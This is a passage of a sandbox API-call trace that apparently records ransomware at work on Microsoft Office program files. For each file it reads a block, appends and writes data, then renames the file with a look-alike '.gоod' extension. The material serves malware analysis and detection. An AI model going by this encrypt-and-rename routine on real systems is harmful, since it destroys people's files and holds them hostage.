office\\root\\office16\\bdcmetadataresource.xsd"), fInfoLevelId=0x0, lpFileInformation=0x366e3b0 | out: lpFileInformation=0x366e3b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1770252c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3321)) returned 1 [0132.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0132.262] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", lpFilePart=0x0) returned 0x47 [0132.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadataresource.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0132.262] GetFileType (hFile=0x644) returned 0x1 [0132.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.262] GetFileType (hFile=0x644) returned 0x1 [0132.263] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0132.263] ReadFile (in: hFile=0x644, lpBuffer=0x366e8e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x366e8e8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0132.264] CloseHandle (hObject=0x644) returned 1 [0132.264] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", lpFilePart=0x0) returned 0x47 [0132.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadataresource.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0132.264] GetFileType (hFile=0x644) returned 0x1 [0132.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.264] GetFileType (hFile=0x644) returned 0x1 [0132.264] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x3321 [0132.264] WriteFile (in: hFile=0x644, lpBuffer=0x3670fe0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3670fe0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0132.265] CloseHandle (hObject=0x644) returned 1 [0132.266] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", lpFilePart=0x0) returned 0x47 [0132.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadataresource.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0132.266] GetFileType (hFile=0x644) returned 0x1 [0132.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.266] GetFileType (hFile=0x644) returned 0x1 [0132.266] ReadFile (in: hFile=0x644, lpBuffer=0x36743e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x36743e0*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0132.301] CloseHandle (hObject=0x644) returned 1 [0132.301] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", lpFilePart=0x0) returned 0x47 [0132.301] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadataresource.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0132.301] GetFileType (hFile=0x644) returned 0x1 [0132.301] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.302] GetFileType (hFile=0x644) returned 0x1 [0132.302] WriteFile (in: hFile=0x644, lpBuffer=0x3673128*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3673128*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0132.302] CloseHandle (hObject=0x644) returned 1 [0132.302] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd", lpFilePart=0x0) returned 0x47 [0132.302] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd.gоod", lpFilePart=0x0) returned 0x4c [0132.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0132.302] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadataresource.xsd"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda3d618, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda3d618, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4b117f8d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3331)) returned 1 [0132.302] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0132.302] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadataresource.xsd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadataresource.xsd.gоod")) returned 1 [0132.303] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", lpFilePart=0x0) returned 0x3a [0132.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0132.303] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\clview.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f2d10 | out: lpFileInformation=0x36f2d10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe206bc31, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef8a36d6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef8a36d6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x76658)) returned 1 [0132.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0132.886] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", lpFilePart=0x0) returned 0x3a [0132.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.886] GetFileType (hFile=0x640) returned 0x1 [0132.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.886] GetFileType (hFile=0x640) returned 0x1 [0132.886] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0132.886] ReadFile (in: hFile=0x640, lpBuffer=0x382f1e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x382f1e8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0132.888] CloseHandle (hObject=0x640) returned 1 [0132.888] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", lpFilePart=0x0) returned 0x3a [0132.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.888] GetFileType (hFile=0x640) returned 0x1 [0132.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.888] GetFileType (hFile=0x640) returned 0x1 [0132.888] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x76658 [0132.888] WriteFile (in: hFile=0x640, lpBuffer=0x3830460*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3830460*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0132.889] CloseHandle (hObject=0x640) returned 1 [0132.890] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", lpFilePart=0x0) returned 0x3a [0132.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.890] GetFileType (hFile=0x640) returned 0x1 [0132.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.890] GetFileType (hFile=0x640) returned 0x1 [0132.890] ReadFile (in: hFile=0x640, lpBuffer=0x3832700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3832700*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0132.924] CloseHandle (hObject=0x640) returned 1 [0132.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", lpFilePart=0x0) returned 0x3a [0132.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\clview.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.925] GetFileType (hFile=0x640) returned 0x1 [0132.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.925] GetFileType (hFile=0x640) returned 0x1 [0132.925] WriteFile (in: hFile=0x640, lpBuffer=0x3831478*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x3831478*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0132.925] CloseHandle (hObject=0x640) returned 1 [0132.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE", lpFilePart=0x0) returned 0x3a [0132.925] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE.gоod", lpFilePart=0x0) returned 0x3f [0132.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0132.925] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\clview.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe206bc31, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef8a36d6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4b70dba3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x76668)) returned 1 [0132.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0132.925] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\clview.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CLVIEW.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\clview.exe.gоod")) returned 1 [0132.926] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", lpFilePart=0x0) returned 0x3c [0132.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0132.926] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cnfnot32.exe"), fInfoLevelId=0x0, lpFileInformation=0x38aea88 | out: lpFileInformation=0x38aea88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1754c10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1754c10, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee3545e6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36e40)) returned 1 [0132.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0132.927] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", lpFilePart=0x0) returned 0x3c [0132.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0132.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cnfnot32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0132.927] GetFileType (hFile=0x640) returned 0x1 [0132.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0132.927] GetFileType (hFile=0x640) returned 0x1 [0132.927] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0132.927] ReadFile (in: hFile=0x640, lpBuffer=0x38aee80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x38aee80*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0133.040] CloseHandle (hObject=0x640) returned 1 [0134.393] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", lpFilePart=0x0) returned 0x3c [0134.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0134.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cnfnot32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0134.424] GetFileType (hFile=0x640) returned 0x1 [0134.424] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0134.424] GetFileType (hFile=0x640) returned 0x1 [0134.504] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x36e40 [0134.504] WriteFile (in: hFile=0x640, lpBuffer=0x3776258*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3776258*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0134.509] CloseHandle (hObject=0x640) returned 1 [0134.509] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", lpFilePart=0x0) returned 0x3c [0134.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0134.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cnfnot32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0134.510] GetFileType (hFile=0x640) returned 0x1 [0134.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0134.510] GetFileType (hFile=0x640) returned 0x1 [0134.510] ReadFile (in: hFile=0x640, lpBuffer=0x3779580, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3779580*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0134.565] CloseHandle (hObject=0x640) returned 1 [0134.565] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", lpFilePart=0x0) returned 0x3c [0134.565] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0134.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cnfnot32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0134.566] GetFileType (hFile=0x640) returned 0x1 [0134.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0134.566] GetFileType (hFile=0x640) returned 0x1 [0134.566] WriteFile (in: hFile=0x640, lpBuffer=0x37782e8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x37782e8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0134.566] CloseHandle (hObject=0x640) returned 1 [0134.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE", lpFilePart=0x0) returned 0x3c [0134.566] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE.gоod", lpFilePart=0x0) returned 0x41 [0134.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0134.566] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cnfnot32.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1754c10, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1754c10, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4c6b5a6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x36e50)) returned 1 [0134.566] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0134.566] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cnfnot32.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\CNFNOT32.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\cnfnot32.exe.gоod")) returned 1 [0134.568] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", lpFilePart=0x0) returned 0x39 [0134.568] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0134.568] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe"), fInfoLevelId=0x0, lpFileInformation=0x37f8b80 | out: lpFileInformation=0x37f8b80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc2fe923e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd4264503, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd52eea7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20d8840)) returned 1 [0134.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0134.569] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", lpFilePart=0x0) returned 0x39 [0134.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0134.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\excel.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0134.569] GetFileType (hFile=0x640) returned 0x1 [0134.569] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0134.569] GetFileType (hFile=0x640) returned 0x1 [0134.569] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0134.569] ReadFile (in: hFile=0x640, lpBuffer=0x37f8f58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x37f8f58*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0135.103] CloseHandle (hObject=0x640) returned 1 [0135.342] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\EXCEL.EXE", nBufferLength=0x105, 